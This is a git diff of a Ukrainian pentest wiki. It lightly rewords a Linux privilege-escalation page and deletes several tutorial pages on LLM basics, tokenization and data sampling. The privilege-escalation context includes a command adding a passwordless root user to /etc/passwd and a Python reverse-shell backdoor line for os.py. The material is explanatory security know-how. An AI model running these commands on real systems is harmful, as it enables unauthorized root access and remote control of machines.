конфігураційні значення @@ -1181,7 +1181,7 @@ ls -l /etc/profile /etc/profile.d/ ### Файли Passwd/Shadow -В залежності від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або може бути резервна копія. Тому рекомендується **знайти всі з них** і **перевірити, чи можете ви їх прочитати**, щоб побачити **чи є там хеші**. +В залежності від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або може бути резервна копія. Тому рекомендується **знайти всі з них** та **перевірити, чи можете ви їх прочитати**, щоб побачити **чи є там хеші**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1208,7 +1208,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash Тепер ви можете використовувати команду `su` з `hacker:hacker` -Альтернативно, ви можете використовувати наступні рядки, щоб додати фіктивного користувача без пароля.\ +Альтернативно, ви можете використовувати наступні рядки, щоб додати фейкового користувача без пароля.\ ПОПЕРЕДЖЕННЯ: ви можете знизити поточний рівень безпеки машини. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd @@ -1273,7 +1273,7 @@ find / -type f -iname ".*" -ls 2>/dev/null for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Веб файли** +### **Веб-файли** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1319,7 +1319,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ### Python library hijacking -Якщо ви знаєте, **звідки** буде виконуватись python-скрипт і ви **можете записувати в** цю папку або ви **можете модифікувати python-бібліотеки**, ви можете змінити бібліотеку OS і створити бекдор (якщо ви можете записувати, де буде виконуватись python-скрипт, скопіюйте та вставте бібліотеку os.py). +Якщо ви знаєте, **звідки** буде виконуватись python-скрипт і ви **можете записувати в** цю папку або ви **можете модифікувати python-бібліотеки**, ви можете змінити бібліотеку OS і створити бекдор (якщо ви можете записати, де буде виконуватись python-скрипт, скопіюйте та вставте бібліотеку os.py). Щоб **створити бекдор у бібліотеці**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT): ```python @@ -1329,7 +1329,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s Уразливість у `logrotate` дозволяє користувачам з **права на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це пов'язано з тим, що `logrotate`, який часто працює як **root**, може бути маніпульований для виконання довільних файлів, особливо в таких директоріях, як _**/etc/bash_completion.d/**_. Важливо перевіряти права доступу не лише в _/var/log_, але й у будь-якій директорії, де застосовується ротація журналів. -> [!NOTE] +> [!TIP] > Ця уразливість впливає на версію `logrotate` `3.18.0` та старіші Більш детальну інформацію про уразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). @@ -1344,7 +1344,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-` у _/etc/sysconfig/network-scripts_ **або** може **відредагувати** існуючий, то ваша **система зламано**. -Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно так само, як .INI файли. Однак вони \~підключаються\~ на Linux через Network Manager (dispatcher.d). +Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно так само, як .INI файли. Однак вони \~sourced\~ на Linux через Network Manager (dispatcher.d). У моєму випадку атрибут `NAME=` в цих мережевих скриптах не обробляється належним чином. Якщо у вас є **пробіли в імені, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**. @@ -1356,11 +1356,11 @@ DEVICE=eth0 ``` ### **init, init.d, systemd, та rc.d** -Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона містить скрипти для `start`, `stop`, `restart`, а іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, що знаходяться в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`. +Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона містить скрипти для `start`, `stop`, `restart`, а іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, знайдені в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`. З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, введеною Ubuntu, яка використовує конфігураційні файли для завдань управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються разом з конфігураціями Upstart через шар сумісності в Upstart. -**systemd** виникає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи. +**systemd** виступає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи. ## Інші трюки diff --git a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md deleted file mode 100644 index 16a1d0bd8..000000000 --- a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md +++ /dev/null @@ -1,285 +0,0 @@ -# 0. Основні концепції LLM - -## Попереднє навчання - -Попереднє навчання є основною фазою в розробці великої мовної моделі (LLM), де модель піддається впливу величезних і різноманітних обсягів текстових даних. Під час цього етапу **LLM вивчає основні структури, патерни та нюанси мови**, включаючи граматику, словниковий запас, синтаксис та контекстуальні зв'язки. Обробляючи ці обширні дані, модель набуває широкого розуміння мови та загальних знань про світ. Ця всебічна база дозволяє LLM генерувати зв'язний та контекстуально релевантний текст. Після цього попередньо навчена модель може пройти донавчання, де вона додатково тренується на спеціалізованих наборах даних, щоб адаптувати свої можливості для конкретних завдань або доменів, покращуючи свою продуктивність та релевантність у цільових застосуваннях. - -## Основні компоненти LLM - -Зазвичай LLM характеризується конфігурацією, що використовується для його навчання. Це загальні компоненти при навчанні LLM: - -- **Параметри**: Параметри - це **навчальні ваги та зміщення** в нейронній мережі. Це числа, які процес навчання коригує для мінімізації функції втрат і покращення продуктивності моделі на завданні. LLM зазвичай використовують мільйони параметрів. -- **Довжина контексту**: Це максимальна довжина кожного речення, що використовується для попереднього навчання LLM. -- **Розмір векторного вкладу**: Розмір вектора, що використовується для представлення кожного токена або слова. LLM зазвичай використовують мільярди вимірів. -- **Схований розмір**: Розмір прихованих шарів у нейронній мережі. -- **Кількість шарів (глибина)**: Скільки шарів має модель. LLM зазвичай використовують десятки шарів. -- **Кількість механізмів уваги**: У трансформерних моделях це кількість окремих механізмів уваги, що використовуються в кожному шарі. LLM зазвичай використовують десятки механізмів. -- **Випадкове відключення**: Випадкове відключення - це щось на зразок відсотка даних, які видаляються (ймовірності стають 0) під час навчання, що використовується для **запобігання перенавчанню.** LLM зазвичай використовують від 0 до 20%. - -Конфігурація моделі GPT-2: -```json -GPT_CONFIG_124M = { -"vocab_size": 50257, // Vocabulary size of the BPE tokenizer -"context_length": 1024, // Context length -"emb_dim": 768, // Embedding dimension -"n_heads": 12, // Number of attention heads -"n_layers": 12, // Number of layers -"drop_rate": 0.1, // Dropout rate: 10% -"qkv_bias": False // Query-Key-Value bias -} -``` -## Тензори в PyTorch - -В PyTorch **тензор** є основною структурою даних, яка слугує багатовимірним масивом, узагальнюючи концепції, такі як скаляри, вектори та матриці, до потенційно вищих вимірів. Тензори є основним способом представлення та маніпулювання даними в PyTorch, особливо в контексті глибокого навчання та нейронних мереж. - -### Математична концепція тензорів - -- **Скалярі**: Тензори рангу 0, що представляють одне число (нульовий вимір). Наприклад: 5 -- **Вектори**: Тензори рангу 1, що представляють одновимірний масив чисел. Наприклад: \[5,1] -- **Матриці**: Тензори рангу 2, що представляють двовимірні масиви з рядками та стовпцями. Наприклад: \[\[1,3], \[5,2]] -- **Тензори вищого рангу**: Тензори рангу 3 або більше, що представляють дані у вищих вимірах (наприклад, 3D тензори для кольорових зображень). - -### Тензори як контейнери для даних - -З обчислювальної точки зору, тензори діють як контейнери для багатовимірних даних, де кожен вимір може представляти різні характеристики або аспекти даних. Це робить тензори надзвичайно придатними для обробки складних наборів даних у завданнях машинного навчання. - -### Тензори PyTorch vs. масиви NumPy - -Хоча тензори PyTorch подібні до масивів NumPy у своїй здатності зберігати та маніпулювати числовими даними, вони пропонують додаткові функціональні можливості, які є критично важливими для глибокого навчання: - -- **Автоматичне диференціювання**: Тензори PyTorch підтримують автоматичний розрахунок градієнтів (autograd), що спрощує процес обчислення похідних, необхідних для навчання нейронних мереж. -- **Прискорення на GPU**: Тензори в PyTorch можуть бути переміщені та обчислені на GPU, що значно прискорює великомасштабні обчислення. - -### Створення тензорів у PyTorch - -Ви можете створити тензори, використовуючи функцію `torch.tensor`: -```python -pythonCopy codeimport torch - -# Scalar (0D tensor) -tensor0d = torch.tensor(1) - -# Vector (1D tensor) -tensor1d = torch.tensor([1, 2, 3]) - -# Matrix (2D tensor) -tensor2d = torch.tensor([[1, 2], -[3, 4]]) - -# 3D Tensor -tensor3d = torch.tensor([[[1, 2], [3, 4]], -[[5, 6], [7, 8]]]) -``` -### Типи даних тензорів - -PyTorch тензори можуть зберігати дані різних типів, таких як цілі числа та числа з плаваючою комою. - -Ви можете перевірити тип даних тензора, використовуючи атрибут `.dtype`: -```python -tensor1d = torch.tensor([1, 2, 3]) -print(tensor1d.dtype) # Output: torch.int64 -``` -- Тензори, створені з цілих чисел Python, мають тип `torch.int64`. -- Тензори, створені з чисел з плаваючою комою Python, мають тип `torch.float32`. - -Щоб змінити тип даних тензора, використовуйте метод `.to()`: -```python -float_tensor = tensor1d.to(torch.float32) -print(float_tensor.dtype) # Output: torch.float32 -``` -### Загальні операції з тензорами - -PyTorch надає різноманітні операції для маніпуляції тензорами: - -- **Доступ до форми**: Використовуйте `.shape`, щоб отримати розміри тензора. - -```python -print(tensor2d.shape) # Вихід: torch.Size([2, 2]) -``` - -- **Зміна форми тензорів**: Використовуйте `.reshape()` або `.view()`, щоб змінити форму. - -```python -reshaped = tensor2d.reshape(4, 1) -``` - -- **Транспонування тензорів**: Використовуйте `.T`, щоб транспонувати 2D тензор. - -```python -transposed = tensor2d.T -``` - -- **Матричне множення**: Використовуйте `.matmul()` або оператор `@`. - -```python -result = tensor2d @ tensor2d.T -``` - -### Важливість у глибокому навчанні - -Тензори є основою в PyTorch для побудови та навчання нейронних мереж: - -- Вони зберігають вхідні дані, ваги та зсуви. -- Вони полегшують операції, необхідні для прямого та зворотного проходів у навчальних алгоритмах. -- Завдяки autograd, тензори дозволяють автоматично обчислювати градієнти, спрощуючи процес оптимізації. - -## Автоматичне диференціювання - -Автоматичне диференціювання (AD) — це обчислювальна техніка, що використовується для **оцінки похідних (градієнтів)** функцій ефективно та точно. У контексті нейронних мереж AD дозволяє обчислювати градієнти, необхідні для **алгоритмів оптимізації, таких як градієнтний спуск**. PyTorch надає механізм автоматичного диференціювання під назвою **autograd**, який спрощує цей процес. - -### Математичне пояснення автоматичного диференціювання - -**1. Правило ланцюга** - -В основі автоматичного диференціювання лежить **правило ланцюга** з математичного аналізу. Правило ланцюга стверджує, що якщо у вас є композиція функцій, то похідна складної функції є добутком похідних складових функцій. - -Математично, якщо `y=f(u)` і `u=g(x)`, тоді похідна `y` по відношенню до `x` є: - -
- -**2. Обчислювальний граф** - -В AD обчислення представлені як вузли в **обчислювальному графі**, де кожен вузол відповідає операції або змінній. Пересуваючись цим графом, ми можемо ефективно обчислювати похідні. - -3. Приклад - -Розглянемо просту функцію: - -
- -Де: - -- `σ(z)` — це сигмоїдальна функція. -- `y=1.0` — це цільова мітка. -- `L` — це втрата. - -Ми хочемо обчислити градієнт втрати `L` по відношенню до ваги `w` та зсуву `b`. - -**4. Обчислення градієнтів вручну** - -
- -**5. Чисельне обчислення** - -
- -### Реалізація автоматичного диференціювання в PyTorch - -Тепер давайте подивимося, як PyTorch автоматизує цей процес. -```python -pythonCopy codeimport torch -import torch.nn.functional as F - -# Define input and target -x = torch.tensor([1.1]) -y = torch.tensor([1.0]) - -# Initialize weights with requires_grad=True to track computations -w = torch.tensor([2.2], requires_grad=True) -b = torch.tensor([0.0], requires_grad=True) - -# Forward pass -z = x * w + b -a = torch.sigmoid(z) -loss = F.binary_cross_entropy(a, y) - -# Backward pass -loss.backward() - -# Gradients -print("Gradient w.r.t w:", w.grad) -print("Gradient w.r.t b:", b.grad) -``` -**Вихід:** -```css -cssCopy codeGradient w.r.t w: tensor([-0.0898]) -Gradient w.r.t b: tensor([-0.0817]) -``` -## Зворотне поширення в більших нейронних мережах - -### **1. Розширення до багатошарових мереж** - -У більших нейронних мережах з кількома шарами процес обчислення градієнтів стає більш складним через збільшену кількість параметрів і операцій. Однак основні принципи залишаються незмінними: - -- **Прямий прохід:** Обчисліть вихід мережі, пропускаючи вхідні дані через кожен шар. -- **Обчислити втрати:** Оцініть функцію втрат, використовуючи вихід мережі та цільові мітки. -- **Зворотний прохід (зворотне поширення):** Обчисліть градієнти втрат щодо кожного параметра в мережі, застосовуючи правило ланцюга рекурсивно від вихідного шару до вхідного шару. - -### **2. Алгоритм зворотного поширення** - -- **Крок 1:** Ініціалізуйте параметри мережі (ваги та зміщення). -- **Крок 2:** Для кожного навчального прикладу виконайте прямий прохід для обчислення виходів. -- **Крок 3:** Обчисліть втрати. -- **Крок 4:** Обчисліть градієнти втрат щодо кожного параметра, використовуючи правило ланцюга. -- **Крок 5:** Оновіть параметри, використовуючи алгоритм оптимізації (наприклад, градієнтний спуск). - -### **3. Математичне представлення** - -Розгляньте просту нейронну мережу з одним прихованим шаром: - -
- -### **4. Реалізація в PyTorch** - -PyTorch спрощує цей процес за допомогою свого механізму autograd. -```python -import torch -import torch.nn as nn -import torch.optim as optim - -# Define a simple neural network -class SimpleNet(nn.Module): -def __init__(self): -super(SimpleNet, self).__init__() -self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer -self.relu = nn.ReLU() -self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer -self.sigmoid = nn.Sigmoid() - -def forward(self, x): -h = self.relu(self.fc1(x)) -y_hat = self.sigmoid(self.fc2(h)) -return y_hat - -# Instantiate the network -net = SimpleNet() - -# Define loss function and optimizer -criterion = nn.BCELoss() -optimizer = optim.SGD(net.parameters(), lr=0.01) - -# Sample data -inputs = torch.randn(1, 10) -labels = torch.tensor([1.0]) - -# Training loop -optimizer.zero_grad() # Clear gradients -outputs = net(inputs) # Forward pass -loss = criterion(outputs, labels) # Compute loss -loss.backward() # Backward pass (compute gradients) -optimizer.step() # Update parameters - -# Accessing gradients -for name, param in net.named_parameters(): -if param.requires_grad: -print(f"Gradient of {name}: {param.grad}") -``` -У цьому коді: - -- **Прямий прохід:** Обчислює виходи мережі. -- **Зворотний прохід:** `loss.backward()` обчислює градієнти втрат відносно всіх параметрів. -- **Оновлення параметрів:** `optimizer.step()` оновлює параметри на основі обчислених градієнтів. - -### **5. Розуміння зворотного проходу** - -Під час зворотного проходу: - -- PyTorch проходить через обчислювальний граф у зворотному порядку. -- Для кожної операції застосовується правило ланцюга для обчислення градієнтів. -- Градієнти накопичуються в атрибуті `.grad` кожного тензора параметра. - -### **6. Переваги автоматичного диференціювання** - -- **Ефективність:** Уникає зайвих обчислень, повторно використовуючи проміжні результати. -- **Точність:** Надає точні похідні до машинної точності. -- **Зручність використання:** Вилучає ручне обчислення похідних. diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md deleted file mode 100644 index 45295460b..000000000 --- a/src/todo/llm-training-data-preparation/1.-tokenizing.md +++ /dev/null @@ -1,95 +0,0 @@ -# 1. Токенізація - -## Токенізація - -**Токенізація** — це процес розбиття даних, таких як текст, на менші, керовані частини, які називаються _токенами_. Кожному токену присвоюється унікальний числовий ідентифікатор (ID). Це основний крок у підготовці тексту для обробки моделями машинного навчання, особливо в обробці природної мови (NLP). - -> [!TIP] -> Мета цього початкового етапу дуже проста: **Розділіть вхідні дані на токени (ідентифікатори) таким чином, щоб це мало сенс**. - -### **Як працює токенізація** - -1. **Розбиття тексту:** -- **Базовий токенізатор:** Простий токенізатор може розбити текст на окремі слова та знаки пунктуації, видаляючи пробіли. -- _Приклад:_\ -Текст: `"Привіт, світе!"`\ -Токени: `["Привіт", ",", "світе", "!"]` -2. **Створення словника:** -- Щоб перетворити токени на числові ID, створюється **словник**. Цей словник містить усі унікальні токени (слова та символи) і присвоює кожному конкретний ID. -- **Спеціальні токени:** Це спеціальні символи, додані до словника для обробки різних сценаріїв: -- `[BOS]` (Початок послідовності): Вказує на початок тексту. -- `[EOS]` (Кінець послідовності): Вказує на кінець тексту. -- `[PAD]` (Доповнення): Використовується для того, щоб усі послідовності в партії мали однакову довжину. -- `[UNK]` (Невідомий): Представляє токени, які не входять до словника. -- _Приклад:_\ -Якщо `"Привіт"` отримує ID `64`, `","` — `455`, `"світе"` — `78`, а `"!"` — `467`, тоді:\ -`"Привіт, світе!"` → `[64, 455, 78, 467]` -- **Обробка невідомих слів:**\ -Якщо слово, наприклад, `"Бувай"`, не входить до словника, його замінюють на `[UNK]`.\ -`"Бувай, світе!"` → `["[UNK]", ",", "світе", "!"]` → `[987, 455, 78, 467]`\ -_(Припускаючи, що `[UNK]` має ID `987`)_ - -### **Розширені методи токенізації** - -Хоча базовий токенізатор добре працює для простих текстів, він має обмеження, особливо з великими словниками та обробкою нових або рідкісних слів. Розширені методи токенізації вирішують ці проблеми, розбиваючи текст на менші підодиниці або оптимізуючи процес токенізації. - -1. **Кодування пар байтів (BPE):** -- **Мета:** Зменшує розмір словника та обробляє рідкісні або невідомі слова, розбиваючи їх на часто вживані пари байтів. -- **Як це працює:** -- Починає з окремих символів як токенів. -- Ітеративно об'єднує найбільш часті пари токенів в один токен. -- Продовжує, поки не залишиться жодної частої пари, яку можна об'єднати. -- **Переваги:** -- Вилучає необхідність у токені `[UNK]`, оскільки всі слова можуть бути представлені шляхом об'єднання існуючих підсловникових токенів. -- Більш ефективний і гнучкий словник. -- _Приклад:_\ -`"граючи"` може бути токенізовано як `["грати", "ючи"]`, якщо `"грати"` та `"ючи"` є частими підсловами. -2. **WordPiece:** -- **Використовується:** Моделями, такими як BERT. -- **Мета:** Подібно до BPE, розбиває слова на підсловникові одиниці для обробки невідомих слів і зменшення розміру словника. -- **Як це працює:** -- Починає з базового словника окремих символів. -- Ітеративно додає найбільш часте підслово, яке максимізує ймовірність навчальних даних. -- Використовує ймовірнісну модель для визначення, які підслова об'єднувати. -- **Переваги:** -- Балансує між наявністю керованого розміру словника та ефективним представленням слів. -- Ефективно обробляє рідкісні та складні слова. -- _Приклад:_\ -`"незадоволеність"` може бути токенізовано як `["не", "задоволеність"]` або `["не", "задоволений", "ість"]` залежно від словника. -3. **Модель мови Unigram:** -- **Використовується:** Моделями, такими як SentencePiece. -- **Мета:** Використовує ймовірнісну модель для визначення найбільш ймовірного набору підсловникових токенів. -- **Як це працює:** -- Починає з великого набору потенційних токенів. -- Ітеративно видаляє токени, які найменше покращують ймовірність моделі навчальних даних. -- Завершує словник, де кожне слово представлено найбільш ймовірними підсловниковими одиницями. -- **Переваги:** -- Гнучка і може моделювати мову більш природно. -- Часто призводить до більш ефективних і компактних токенізацій. -- _Приклад:_\ -`"міжнародна діяльність"` може бути токенізовано на менші, значущі підслова, такі як `["міжнародна", "діяльність"]`. - -## Приклад коду - -Давайте зрозуміємо це краще з прикладу коду з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): -```python -# Download a text to pre-train the model -import urllib.request -url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt") -file_path = "the-verdict.txt" -urllib.request.urlretrieve(url, file_path) - -with open("the-verdict.txt", "r", encoding="utf-8") as f: -raw_text = f.read() - -# Tokenize the code using GPT2 tokenizer version -import tiktoken -token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]" - -# Print first 50 tokens -print(token_ids[:50]) -#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11] -``` -## Посилання - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/2.-data-sampling.md b/src/todo/llm-training-data-preparation/2.-data-sampling.md deleted file mode 100644 index 9909261e1..000000000 --- a/src/todo/llm-training-data-preparation/2.-data-sampling.md +++ /dev/null @@ -1,240 +0,0 @@ -# 2. Data Sampling - -## **Data Sampling** - -**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies. - -> [!TIP] -> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.** - -### **Why Data Sampling Matters** - -LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text. - -### **Key Concepts in Data Sampling** - -1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters). -2. **Sequence Length (max_length):** The number of tokens in each input sequence. -3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text. -4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence. - -### **Step-by-Step Example** - -Let's walk through an example to illustrate data sampling. - -**Example Text** - -```arduino -"Lorem ipsum dolor sit amet, consectetur adipiscing elit." -``` - -**Tokenization** - -Assume we use a **basic tokenizer** that splits the text into words and punctuation marks: - -```vbnet -Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."] -``` - -**Parameters** - -- **Max Sequence Length (max_length):** 4 tokens -- **Sliding Window Stride:** 1 token - -**Creating Input and Target Sequences** - -1. **Sliding Window Approach:** - - **Input Sequences:** Each input sequence consists of `max_length` tokens. - - **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence. -2. **Generating Sequences:** - -
Window PositionInput SequenceTarget Sequence
1["Lorem", "ipsum", "dolor", "sit"]["ipsum", "dolor", "sit", "amet,"]
2["ipsum", "dolor", "sit", "amet,"]["dolor", "sit", "amet,", "consectetur"]
3["dolor", "sit", "amet,", "consectetur"]["sit", "amet,", "consectetur", "adipiscing"]
4["sit", "amet,", "consectetur", "adipiscing"]["amet,", "consectetur", "adipiscing", "elit."]
- -3. **Resulting Input and Target Arrays:** - - - **Input:** - - ```python - [ - ["Lorem", "ipsum", "dolor", "sit"], - ["ipsum", "dolor", "sit", "amet,"], - ["dolor", "sit", "amet,", "consectetur"], - ["sit", "amet,", "consectetur", "adipiscing"], - ] - ``` - - - **Target:** - - ```python - [ - ["ipsum", "dolor", "sit", "amet,"], - ["dolor", "sit", "amet,", "consectetur"], - ["sit", "amet,", "consectetur", "adipiscing"], - ["amet,", "consectetur", "adipiscing", "elit."], - ] - ``` - -**Visual Representation** - -
Token PositionToken
1Lorem
2ipsum
3dolor
4sit
5amet,
6consectetur
7adipiscing
8elit.
- -**Sliding Window with Stride 1:** - -- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"] -- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"] -- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."] - -**Understanding Stride** - -- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated. -- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances. -- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences. - -**Example with Stride of 2:** - -Using the same tokenized text and `max_length` of 4: - -- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"] -- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_ - -## Code Example - -Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): - -```python -# Download the text to pre-train the LLM -import urllib.request -url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt") -file_path = "the-verdict.txt" -urllib.request.urlretrieve(url, file_path) - -with open("the-verdict.txt", "r", encoding="utf-8") as f: - raw_text = f.read() - -""" -Create a class that will receive some params lie tokenizer and text -and will prepare the input chunks and the target chunks to prepare -the LLM to learn which next token to generate -""" -import torch -from torch.utils.data import Dataset, DataLoader - -class GPTDatasetV1(Dataset): - def __init__(self, txt, tokenizer, max_length, stride): - self.input_ids = [] - self.target_ids = [] - - # Tokenize the entire text - token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"}) - - # Use a sliding window to chunk the book into overlapping sequences of max_length - for i in range(0, len(token_ids) - max_length, stride): - input_chunk = token_ids[i:i + max_length] - target_chunk = token_ids[i + 1: i + max_length + 1] - self.input_ids.append(torch.tensor(input_chunk)) - self.target_ids.append(torch.tensor(target_chunk)) - - def __len__(self): - return len(self.input_ids) - - def __getitem__(self, idx): - return self.input_ids[idx], self.target_ids[idx] - - -""" -Create a data loader which given the text and some params will -prepare the inputs and targets with the previous class and -then create a torch DataLoader with the info -""" - -import tiktoken - -def create_dataloader_v1(txt, batch_size=4, max_length=256, - stride=128, shuffle=True, drop_last=True, - num_workers=0): - - # Initialize the tokenizer - tokenizer = tiktoken.get_encoding("gpt2") - - # Create dataset - dataset = GPTDatasetV1(txt, tokenizer, max_length, stride) - - # Create dataloader - dataloader = DataLoader( - dataset, - batch_size=batch_size, - shuffle=shuffle, - drop_last=drop_last, - num_workers=num_workers - ) - - return dataloader - - -""" -Finally, create the data loader with the params we want: -- The used text for training -- batch_size: The size of each batch -- max_length: The size of each entry on each batch -- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated. -- shuffle: Re-order randomly -""" -dataloader = create_dataloader_v1( - raw_text, batch_size=8, max_length=4, stride=1, shuffle=False -) - -data_iter = iter(dataloader) -first_batch = next(data_iter) -print(first_batch) - -# Note the batch_size of 8, the max_length of 4 and the stride of 1 -[ -# Input -tensor([[ 40, 367, 2885, 1464], - [ 367, 2885, 1464, 1807], - [ 2885, 1464, 1807, 3619], - [ 1464, 1807, 3619, 402], - [ 1807, 3619, 402, 271], - [ 3619, 402, 271, 10899], - [ 402, 271, 10899, 2138], - [ 271, 10899, 2138, 257]]), -# Target -tensor([[ 367, 2885, 1464, 1807], - [ 2885, 1464, 1807, 3619], - [ 1464, 1807, 3619, 402], - [ 1807, 3619, 402, 271], - [ 3619, 402, 271, 10899], - [ 402, 271, 10899, 2138], - [ 271, 10899, 2138, 257], - [10899, 2138, 257, 7026]]) -] - -# With stride=4 this will be the result: -[ -# Input -tensor([[ 40, 367, 2885, 1464], - [ 1807, 3619, 402, 271], - [10899, 2138, 257, 7026], - [15632, 438, 2016, 257], - [ 922, 5891, 1576, 438], - [ 568, 340, 373, 645], - [ 1049, 5975, 284, 502], - [ 284, 3285, 326, 11]]), -# Target -tensor([[ 367, 2885, 1464, 1807], - [ 3619, 402, 271, 10899], - [ 2138, 257, 7026, 15632], - [ 438, 2016, 257, 922], - [ 5891, 1576, 438, 568], - [ 340, 373, 645, 1049], - [ 5975, 284, 502, 284], - [ 3285, 326, 11, 287]]) -] -``` - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/3.-token-embeddings.md b/src/todo/llm-training-data-preparation/3.-token-embeddings.md deleted file mode 100644 index f934f780c..000000000 --- a/src/todo/llm-training-data-preparation/3.-token-embeddings.md +++ /dev/null 